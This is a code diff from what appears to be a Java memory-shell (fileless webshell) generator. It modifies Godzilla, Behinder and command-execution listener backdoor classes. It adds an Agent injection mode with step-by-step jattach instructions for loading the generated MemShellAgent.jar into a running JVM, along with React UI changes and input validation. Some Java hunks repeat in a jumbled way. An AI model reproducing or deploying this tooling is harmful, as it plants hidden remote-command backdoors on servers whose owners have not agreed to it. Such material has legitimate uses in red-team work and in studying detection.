public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,7 +14,7 @@ import java.io.InputStream;
*/
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
public String paramName = "{{paramName}}";
public static String paramName;
private Session session;
@Override
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
BIN
View File
Binary file not shown.
+6 -5
View File
@@ -13,8 +13,8 @@
},
"devDependencies": {
"@biomejs/biome": "1.9.4",
"@tanstack/router-plugin": "^1.92.11",
"@types/node": "^22.10.2",
"@tanstack/router-plugin": "^1.93.0",
"@types/node": "^22.10.3",
"@types/react": "^19.0.2",
"@types/react-dom": "^19.0.2",
"@vitejs/plugin-react": "^4.3.4",
@@ -28,6 +28,7 @@
},
"dependencies": {
"@hookform/resolvers": "^3.9.1",
"@radix-ui/react-alert-dialog": "^1.1.4",
"@radix-ui/react-checkbox": "^1.1.3",
"@radix-ui/react-dropdown-menu": "^2.1.4",
"@radix-ui/react-label": "^2.1.1",
@@ -39,14 +40,14 @@
"@radix-ui/react-tabs": "^1.1.2",
"@radix-ui/react-tooltip": "^1.1.6",
"@tanstack/react-query": "^5.62.11",
"@tanstack/react-router": "^1.92.11",
"@tanstack/router-devtools": "^1.92.11",
"react-copy-to-clipboard": "^5.1.0",
"@tanstack/react-router": "^1.93.0",
"@tanstack/router-devtools": "^1.93.0",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
"lucide-react": "^0.469.0",
"next-themes": "^0.4.4",
"react": "^19.0.0",
"react-copy-to-clipboard": "^5.1.0",
"react-dom": "^19.0.0",
"react-hook-form": "^7.54.2",
"react-syntax-highlighter": "^15.6.1",
+57 -2
View File
@@ -1,4 +1,14 @@
import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx";
import {
AlertDialog,
AlertDialogAction,
AlertDialogCancel,
AlertDialogContent,
AlertDialogDescription,
AlertDialogFooter,
AlertDialogHeader,
AlertDialogTitle,
} from "@/components/ui/alert-dialog";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
import { Input } from "@/components/ui/input.tsx";
@@ -9,6 +19,7 @@ import { Switch } from "@/components/ui/switch.tsx";
import { FormSchema } from "@/types/schema.ts";
import { MainConfig } from "@/types/shell.ts";
import { ServerIcon } from "lucide-react";
import { useState } from "react";
import { FormProvider, UseFormReturn } from "react-hook-form";
@@ -33,6 +44,8 @@ export function MainConfigCard({
const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>();
const [shellTools, setShellTools] = useState<string[]>([]);
const [shellTypes, setShellTypes] = useState<string[]>([]);
const [openAgentConfirm, setOpenAgentConfirm] = useState(false);
const [currentShellType, setCurrentShellType] = useState<string>("");
const handleServerChange = (value: string) => {
if (mainConfig) {
@@ -121,7 +134,17 @@ export function MainConfigCard({
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>JRE()</FormLabel>
<Select onValueChange={field.onChange} value={field.value}>
<Select
onValueChange={(v) => {
if (Number.parseInt(v) >= 53) {
form.setValue("bypassJavaModule", true);
} else {
form.setValue("bypassJavaModule", false);
}
field.onChange(v);
}}
value={field.value}
>
<FormControl>
<SelectTrigger className="h-8">
<SelectValue placeholder="请选择" />
@@ -224,7 +247,39 @@ export function MainConfigCard({
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel></FormLabel>
<Select onValueChange={field.onChange} value={field.value}>
<AlertDialog open={openAgentConfirm} onOpenChange={setOpenAgentConfirm}>
<AlertDialogContent>
<AlertDialogHeader>
<AlertDialogTitle>Agent Java8 </AlertDialogTitle>
<AlertDialogDescription> JRE Java8</AlertDialogDescription>
</AlertDialogHeader>
<AlertDialogFooter>
<AlertDialogCancel>Cancel</AlertDialogCancel>
<AlertDialogAction
onClick={() => {
form.setValue("targetJdkVersion", "52");
form.setValue("shellType", currentShellType);
}}
>
Confirm
</AlertDialogAction>
</AlertDialogFooter>
</AlertDialogContent>
</AlertDialog>
<Select
onValueChange={(v) => {
if (
v.startsWith("Agent") &&
Number.parseInt(form.getValues("targetJdkVersion") as string) === 50
) {
setOpenAgentConfirm(true);
setCurrentShellType(v);
} else {
field.onChange(v);
}
}}
value={field.value}
>
<FormControl>
<SelectTrigger className="h-8">
<SelectValue placeholder="请选择" />
+82 -26
View File
@@ -4,17 +4,64 @@ import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
import { Button } from "@/components/ui/button.tsx";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
import { Label } from "@/components/ui/label.tsx";
import { Separator } from "@/components/ui/separator.tsx";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx";
import { downloadJavaClass } from "@/lib/utils.ts";
import { downloadBytes } from "@/lib/utils.ts";
import { GenerateResult } from "@/types/shell.ts";
import { TicketsIcon, TriangleAlertIcon } from "lucide-react";
function AgentResult({ packResult, generateResult }: { packResult: string; generateResult?: GenerateResult }) {
return (
<section>
<ol className="list-decimal list-inside space-y-4">
<li className="flex items-center justify-between">
<span> MemShellAgent.jar</span>
<Button
size="sm"
variant="outline"
className="w-28"
type="button"
onClick={() =>
downloadBytes(
packResult,
undefined,
`${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShellAgent`,
)
}
>
Jar
</Button>
</li>
<li className="flex items-center justify-between">
<span> Jattach Jar </span>
<Button
size="sm"
variant="outline"
className="w-28"
type="button"
onClick={() => window.open("https://github.com/jattach/jattach/releases")}
>
Jattach
</Button>
</li>
<Separator />
<h2 className="text-2xl font-bold mb-4">使</h2>
<li> MemShellAgent.jar jattach 使</li>
<li> jvm pid 使 jps ps</li>
<li>/path/to/jattach pid load instrument false /path/to/agent.jar</li>
<li></li>
</ol>
</section>
);
}
export function ShellResult({
packResult,
packMethod,
generateResult,
}: { packResult: string; packMethod: string; generateResult?: GenerateResult }) {
const showCode = packMethod === "JSP";
const isAgent = packMethod.startsWith("Agent");
return (
<Card className="h-full">
<CardHeader className="pb-2">
@@ -31,7 +78,7 @@ export function ShellResult({
<TabsTrigger value="injector"></TabsTrigger>
</TabsList>
<TabsContent value="packResult" className="mt-4">
{generateResult && (
{generateResult && !isAgent && (
<div className="gap-4 my-2">
<CopyableField
label="注入器类名"
@@ -45,12 +92,15 @@ export function ShellResult({
/>
</div>
)}
<CodeViewer
code={packResult}
wrapLongLines={!showCode}
showLineNumbers={showCode}
language={showCode ? "java" : "text"}
/>
{!isAgent && (
<CodeViewer
code={packResult}
wrapLongLines={!showCode}
showLineNumbers={showCode}
language={showCode ? "java" : "text"}
/>
)}
{isAgent && <AgentResult packResult={packResult} generateResult={generateResult} />}
</TabsContent>
<TabsContent value="shell" className="mt-4">
<Alert>
@@ -71,14 +121,17 @@ export function ShellResult({
</div>
</div>
)}
<Button
size="sm"
className="h-8 gap-1"
type="button"
onClick={() => downloadJavaClass(generateResult?.shellBytesBase64Str, generateResult?.shellClassName)}
>
Class
</Button>
{generateResult && (
<Button
size="sm"
variant="outline"
className="w-28"
type="button"
onClick={() => downloadBytes(generateResult?.shellBytesBase64Str, generateResult?.shellClassName)}
>
Class
</Button>
)}
</div>
<CodeViewer
showLineNumbers={false}
@@ -106,16 +159,19 @@ export function ShellResult({
</div>
</div>
)}
<Button
size="sm"
className="h-8 gap-1"
type="button"
onClick={() =>
downloadJavaClass(generateResult?.injectorBytesBase64Str, generateResult?.injectorClassName)
}
>
Class
</Button>
{generateResult && (
<Button
size="sm"
className="w-28"
variant="outline"
type="button"
onClick={() =>
downloadBytes(generateResult?.injectorBytesBase64Str, generateResult?.injectorClassName)
}
>
Class
</Button>
)}
</div>
<CodeViewer
showLineNumbers={false}
@@ -11,6 +11,8 @@ export function UrlPatternTip() {
<TooltipContent>
<p>使 Servlet urlPattern使 /*使</p>
<p>使 SpringMVC ControllerHandler urlPattern使 /*使</p>
<p>使 SpringWebFlux HandlerMethod urlPattern使 /*使</p>
<p>使 SpringWebFlux HandlerFunction urlPattern使 /*使</p>
</TooltipContent>
</Tooltip>
</TooltipProvider>
+104
View File
@@ -0,0 +1,104 @@
import * as React from "react";
import * as AlertDialogPrimitive from "@radix-ui/react-alert-dialog";
import { cn } from "@/lib/utils";
import { buttonVariants } from "@/components/ui/button";
const AlertDialog = AlertDialogPrimitive.Root;
const AlertDialogTrigger = AlertDialogPrimitive.Trigger;
const AlertDialogPortal = AlertDialogPrimitive.Portal;
const AlertDialogOverlay = React.forwardRef<
React.ElementRef<typeof AlertDialogPrimitive.Overlay>,
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Overlay>
>(({ className, ...props }, ref) => (
<AlertDialogPrimitive.Overlay
className={cn(
"fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",
className,
)}
{...props}
ref={ref}
/>
));
AlertDialogOverlay.displayName = AlertDialogPrimitive.Overlay.displayName;
const AlertDialogContent = React.forwardRef<
React.ElementRef<typeof AlertDialogPrimitive.Content>,
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Content>
>(({ className, ...props }, ref) => (
<AlertDialogPortal>
<AlertDialogOverlay />
<AlertDialogPrimitive.Content
ref={ref}
className={cn(
"fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg",
className,
)}
{...props}
/>
</AlertDialogPortal>
));
AlertDialogContent.displayName = AlertDialogPrimitive.Content.displayName;
const AlertDialogHeader = ({ className, ...props }: React.HTMLAttributes<HTMLDivElement>) => (
<div className={cn("flex flex-col space-y-2 text-center sm:text-left", className)} {...props} />
);
AlertDialogHeader.displayName = "AlertDialogHeader";
const AlertDialogFooter = ({ className, ...props }: React.HTMLAttributes<HTMLDivElement>) => (
<div className={cn("flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2", className)} {...props} />
);
AlertDialogFooter.displayName = "AlertDialogFooter";
const AlertDialogTitle = React.forwardRef<
React.ElementRef<typeof AlertDialogPrimitive.Title>,
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Title>
>(({ className, ...props }, ref) => (
<AlertDialogPrimitive.Title ref={ref} className={cn("text-lg font-semibold", className)} {...props} />
));
AlertDialogTitle.displayName = AlertDialogPrimitive.Title.displayName;
const AlertDialogDescription = React.forwardRef<
React.ElementRef<typeof AlertDialogPrimitive.Description>,
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Description>
>(({ className, ...props }, ref) => (
<AlertDialogPrimitive.Description ref={ref} className={cn("text-sm text-muted-foreground", className)} {...props} />
));
AlertDialogDescription.displayName = AlertDialogPrimitive.Description.displayName;
const AlertDialogAction = React.forwardRef<
React.ElementRef<typeof AlertDialogPrimitive.Action>,
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Action>
>(({ className, ...props }, ref) => (
<AlertDialogPrimitive.Action ref={ref} className={cn(buttonVariants(), className)} {...props} />
));
AlertDialogAction.displayName = AlertDialogPrimitive.Action.displayName;
const AlertDialogCancel = React.forwardRef<
React.ElementRef<typeof AlertDialogPrimitive.Cancel>,
React.ComponentPropsWithoutRef<typeof AlertDialogPrimitive.Cancel>
>(({ className, ...props }, ref) => (
<AlertDialogPrimitive.Cancel
ref={ref}
className={cn(buttonVariants({ variant: "outline" }), "mt-2 sm:mt-0", className)}
{...props}
/>
));
AlertDialogCancel.displayName = AlertDialogPrimitive.Cancel.displayName;
export {
AlertDialog,
AlertDialogPortal,
AlertDialogOverlay,
AlertDialogTrigger,
AlertDialogContent,
AlertDialogHeader,
AlertDialogFooter,
AlertDialogTitle,
AlertDialogDescription,
AlertDialogAction,
AlertDialogCancel,
};
+5 -5
View File
@@ -6,9 +6,9 @@ export function cn(...inputs: ClassValue[]) {
return twMerge(clsx(inputs));
}
export function downloadJavaClass(base64String?: string, className?: string) {
if (!base64String || !className) {
toast.warning("内存马字节码为空,无法下载, 请先生成内存马");
export function downloadBytes(base64String?: string, className?: string, jarName?: string) {
if (!base64String) {
toast.warning("字节码为空,无法下载, 请先生成内存马");
return;
}
const byteCharacters = atob(base64String);
@@ -19,12 +19,12 @@ export function downloadJavaClass(base64String?: string, className?: string) {
const byteArray = new Uint8Array(byteNumbers);
// Create a Blob from the byte array
const blob = new Blob([byteArray], { type: "application/java-vm" });
const blob = new Blob([byteArray], { type: className ? "application/java-vm" : "application/java-archive" });
// Create a download link
const link = document.createElement("a");
link.href = window.URL.createObjectURL(blob);
link.download = `${className.substring(className.lastIndexOf("."))}.class`;
link.download = className ? `${className.substring(className.lastIndexOf("."))}.class` : `${jarName}.jar`;
document.body.appendChild(link);
link.click();
+38 -7
View File
@@ -57,15 +57,46 @@ function IndexComponent() {
const [packMethod, setPackMethod] = useState<string>("");
const [isActionPending, startTransition] = useTransition();
function customValidation(values: FormSchema) {
if (values.shellType.endsWith("Servlet") && (values.urlPattern === "/*" || !values.urlPattern)) {
toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet");
return false;
}
if (values.shellType.endsWith("ControllerHandler") && (values.urlPattern === "/*" || !values.urlPattern)) {
toast.warning("ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller");
return false;
}
if (
(values.shellType === "HandlerMethod" || values.shellType === "HandlerFunction") &&
(values.urlPattern === "/*" || !values.urlPattern)
) {
toast.warning("HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern,例如 /hello_handler");
return false;
}
if (values.shellType.startsWith("Agent") && values.packingMethod !== "AgentJar") {
toast.warning("Agent 注入方式当前仅支持 AgentJar 打包方式");
return false;
}
if (values.shellType.startsWith("Agent") && values.targetJdkVersion === "50") {
toast.warning("Agent 注入方式当前仅支持 Java8 以上");
return false;
}
if (!values.shellType.startsWith("Agent") && values.packingMethod === "AgentJar") {
toast.warning("Agent 注入方式当前仅支持 Tomcat,只有 Agent 注入方式才可使用 AgentJar 打包方式");
return false;
}
return true;
}
async function onSubmit(values: FormSchema) {
startTransition(async () => {
if (values.shellType.endsWith("Servlet") && (values.urlPattern === "/*" || !values.urlPattern)) {
toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet");
return;
}
if (values.shellType.endsWith("ControllerHandler") && (values.urlPattern === "/*" || !values.urlPattern)) {
toast.warning("ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller");
if (!customValidation(values)) {
return;
}